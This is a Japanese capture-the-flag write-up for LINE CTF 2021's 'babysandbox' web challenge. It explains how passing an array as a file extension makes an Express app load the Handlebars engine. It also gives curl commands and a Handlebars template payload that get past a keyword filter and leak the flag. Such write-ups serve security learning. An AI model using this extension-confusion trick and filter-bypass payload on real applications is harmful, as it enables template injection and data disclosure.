3 月 20 日から 3 月 21 日にかけて開催された LINE CTF 2021 に、チーム zer0pts として参加しました。最終的にチームで 2472 点を獲得し、順位は 1 点以上得点した 680 チーム中 6 位でした。うち、私は 1 問を解いて 428 点を入れました。
他のメンバーが書いた writeup はこちら。
以下、私の writeup です。
Nah~
(URL)
添付ファイル: babysandbox.tar.gz (ソースコード)
与えられた URL にアクセスすると、64 桁の 16 進数のパスにリダイレクトされて以下のようなフォームが表示されました。
各入力欄に上から hoge と fuga と入力してボタンを押すと、/(64 桁の 16 進数のパス)/hoge にリダイレクトされて fuga というテキストが表示されました。

どういう実装になっているか、与えられたソースコードを確認します。
app.js を見ると、まず / にアクセスすると、utils.generateEndpoint(ip, secretKey) という関数に IP アドレスと秘密鍵を与えて呼び出し、その返り値にリダイレクトされることがわかります。
const express = require('express');
// …
const utils = require('./utils.js');
// …
app.get('/', (req,res)=>{
    let ip = req.headers['x-forwarded-for'] || req.connection.remoteAddress;
    return res.redirect(utils.generateEndpoint(ip, secretKey));
});
utils.js で utils.generateEndpoint の実装を確認します。どうやら、IP アドレスと秘密鍵をもとにハッシュ値を計算してから、views/sandbox/(ハッシュ値) というディレクトリを作成しているようです。それから views/base.ejs を作成したディレクトリ内に index.ejs としてコピーしています。
const getHash = (str, salt)=>{
    let hash = crypto.createHash('sha256');
    hash.update(salt);
    hash.update(str);
    return hash.digest('hex');
};
const generateEndpoint = (str, salt)=>{
    let endpointPath = getHash(str, salt);
    let dir = `./views/sandbox/${endpointPath}`;
    
    if(!fs.existsSync(dir)){
        fs.mkdirSync(dir);
    }
    if(!fs.existsSync(`${dir}/index.ejs`)){
        fs.writeFile(`${dir}/index.ejs`, fs.readFileSync("./views/base.ejs", "utf-8"), (err)=>{
            if(err) {
                console.log(`[!] File write error: ${dir}/index.ejs`);
                return false;
            }
            console.log(`[*] Created ${dir}/index.ejs by ${str} (endpoint: ${endpointPath})`);
        });
    }
    return endpointPath;
};
/(ハッシュ値)/ にアクセスした際の処理を app.js で確認します。ここでは、先程コピーされた index.ejs がレンダリングされるだけのようです。
app.get('/:sandboxPath', authMiddleware, (req,res)=>{
    note = req.query.note || 'index';
    return res.render(`sandbox/${req.params.sandboxPath}/${note}`);
});
フォームを送信した際の処理を app.js で確認します。ここでは送信されたデータのうち filename、ext、contents の 3 つが参照されています。このうち ext と filename は省略可能で、もし省略されればそれぞれ .ejs と noname が使われます。
いくつか送信されたデータのチェックがされており、まず filename と contents がいずれも文字列であるか確認されています。
それから ext に .ejs が含まれ、また 4 文字であるか確認されています。ext は実質的に .ejs 以外を入れることができないようになっているようです。
そして、contents は utils.sanitize という関数でチェックされています。
チェックが済んだ後、views/sandbox/(ハッシュ値)/(filename)(ext) というファイルに contents の内容が書き込まれています。
const options = {
    ext: '.ejs',
    filename: 'noname',
}
app.post('/:sandboxPath', authMiddleware, (req, res)=>{
    let saveOptions = {}
    let isChecked = true;
    let path = '';
    merge(saveOptions, options)
    merge(saveOptions, req.body)
    if(saveOptions.filename === undefined || saveOptions.contents === undefined ||
        typeof saveOptions.filename !== 'string' || typeof saveOptions.contents !== 'string') 
        isChecked = false
    if(!saveOptions.ext.includes('.ejs') || saveOptions.ext.length !== 4) isChecked = false;
    if(isChecked) {
        let filename = saveOptions.filename || 'noname';
        filename += saveOptions.ext
        let body = saveOptions.contents;
        if(utils.sanitize(body)){
            let uploadPath = `./views/sandbox/${req.params.sandboxPath}/${filename}`;
            if(!fs.existsSync(uploadPath)){
                fs.writeFile(uploadPath, body, (err)=>{
                    if(err) {
                        console.log(`[!] File write error: ${uploadPath}`);
                        isChecked = false
                    }
                    console.log(`[*] Created ${uploadPath} by ${req.ip} (endpoint: ${req.params.sandboxPath})`);
                });
            } else {
                isChecked = false
            }
        } else {
            isChecked = false
        }
        
    }
    if(isChecked) path = `/${req.params.sandboxPath}/${saveOptions.filename}`;
    let result = {
        result: isChecked,
        path
    };
    return res.json(result)
});
utils.sanitize の実装を utils.js で確認します。この関数は、どうやら文字列に <、>、flag のいずれかが含まれていれば false を返すようです。
EJS は、デフォルトでは <%= 7*7 %> のように < や > を使わなければ JavaScript コードの実行ができません。これによって EJS の機能を使えないようにしているのでしょう。
const sanitize = (body)=>{
    reuslt = true
    tmp = body.toLowerCase()
    if(tmp.includes('<') || tmp.includes('>')) return false
    if(tmp.includes('flag')) return false
    
    return true
}
作成されたファイルにアクセスする方法を app.js で確認します。/(ハッシュ値)/(ファイル名) にアクセスすると res.render によってそのファイルをレンダリングされますが、ここでパラメータとしてフラグが与えられています。
app.get('/:sandboxPath/:filename', authMiddleware, (req,res)=>{
    try {
        res.render(`sandbox/${req.params.sandboxPath}/${req.params.filename}`, {flag});
    } catch {
        res.status(404).send('Not found.');
    }
});
前述のように、< や > が使えなければ、EJS のテンプレートはただのプレーンテキストでしかありません。なんとかして拡張子を .ejs 以外に変えて、EJS 以外のテンプレートエンジンが使えないでしょうか。
フォームの送信時に文字列かどうかチェックされていたのは filename と contents だけで、ext についてはチェックされていなかったことを思い出しましょう。
もし ext が配列であればどうでしょうか。ext に .ejs という文字列が含まれるかと、ext の長さが 4 であるかのチェックはそれぞれ includes というメソッドと length というプロパティを使っています。これらのメソッドやプロパティは Array も持っていますから、もし ext が配列であってもうまく動くはずです。
4 つの要素を持ち、そのうちのひとつが .ejs という文字列である配列を ext として投げてみましょう。試してみると、以下に示すように hoge.ejs,a,b,c というファイルが作成されました。これで .ejs 以外の拡張子でファイルの作成ができるようになりました。
$ curl http://localhost:8000
Found. Redirecting to 550a47c54a2c9d980a7b1ba202bebbbdbe37bd36954424d2c1d5d135bfd9f3cf
$ HASH=550a47c54a2c9d980a7b1ba202bebbbdbe37bd36954424d2c1d5d135bfd9f3cf
$ curl "http://localhost:8000/$HASH" -H "Content-Type: application/json" -d '{"filename":"hoge","contents":"fuga","ext":[".ejs","a","b","c"]}'
{"result":true,"path":"/550a47c54a2c9d980a7b1ba202bebbbdbe37bd36954424d2c1d5d135bfd9f3cf/hoge"}
$ docker exec b1 ls "views/sandbox/$HASH/"
hoge.ejs,a,b,c
index.ejs
生成されたファイルにアクセスしてみようとすると、ejs,a,b,c というモジュールを読み込もうとしたが見つけられなかったというエラーが表示されました。どういうことでしょうか。
$ curl "http://localhost:8000/$HASH/hoge.ejs,a,b,c"
Error: Cannot find module 'ejs,a,b,c'
Require stack:
- /app/node_modules/express/lib/view.js
- /app/node_modules/express/lib/application.js
- /app/node_modules/express/lib/express.js
- /app/node_modules/express/index.js
- /app/app.js
適当な存在するモジュールの名、例えば fs を拡張子にして試してみると、今度は view engine とやらを fs モジュールが提供していないというエラーが表示されました。
$ curl "http://localhost:8000/$HASH" -H "Content-Type: application/json" -d '{"filename":"hoge","contents":"fuga","ext":[".ejs","a","b",".fs"]}'
{"result":true,"path":"/550a47c54a2c9d980a7b1ba202bebbbdbe37bd36954424d2c1d5d135bfd9f3cf/hoge"}
$ curl "http://localhost:8000/$HASH/hoge.ejs,a,b,.fs"
Error: Module "fs" does not provide a view engine.
問題サーバの環境に存在していて、かつ view engine を提供していそうなモジュールはないでしょうか。package.json を眺めていると、hbs が見つかりました。Handlebars というテンプレートエンジンがあるようです。
{
  "dependencies": {
    "body-parser": "^1.19.0",
    "ejs": "^3.1.6",
    "express": "^4.17.1",
    "hbs": "^4.1.1",
    "morgan": "^1.10.0"
  }
}
本当に Handlebars が使えるか試してみましょう。Handlebars では {{! comment }} のような記法でレンダリング時に無視されるコメントが使えます。これが表示されるかどうか確認します。
試してみると、以下に示すように ABCDEF とだけ表示され、無事に Handlebars を使えていることがわかりました。
$ curl "http://localhost:8000/$HASH" -H "Content-Type: application/json" -d '{"filename":"comment","contents":"ABC{{! comment }}DEF\n","ext":[".ejs","a","b",".hbs"]}'
{"result":true,"path":"/550a47c54a2c9d980a7b1ba202bebbbdbe37bd36954424d2c1d5d135bfd9f3cf/comment"}
$ curl "http://localhost:8000/$HASH/comment.ejs,a,b,.hbs"
ABCDEF
あとは {{ flag }} でフラグを得るだけ…ではありません。フォームの送信時に contents に flag が含まれていないかどうかチェックされるので、このままでは弾かれてしまいます。
このような状況から思い出されるのは、Defenit CTF 2020 の BabyJS です。BabyJS はこの問題と同じように、FLAG という文字列が使えない中で、Handlebars の機能を使って FLAG というパラメータを展開させる問題でした。
BabyJS と同じペイロードを試してみましょう。
$ curl "http://(省略)/$HASH" -H "Content-Type: application/json" -d '{"file
name":"flag","contents":"{{#each .}}{{#if (lookup . \"toString\")}}{{.}}{{/if}}{{/each}}\n","ext":[".ejs","a","b",".hbs"]}'
{"result":true,"path":"/(省略)/flag"}
$ curl "http://(省略)/$HASH/flag.ejs,a,b,.hbs"
[object Object]LINECTF{I_think_emilia_is_reallllly_t3nshi}
フラグが得られました。
LINECTF{I_think_emilia_is_reallllly_t3nshi}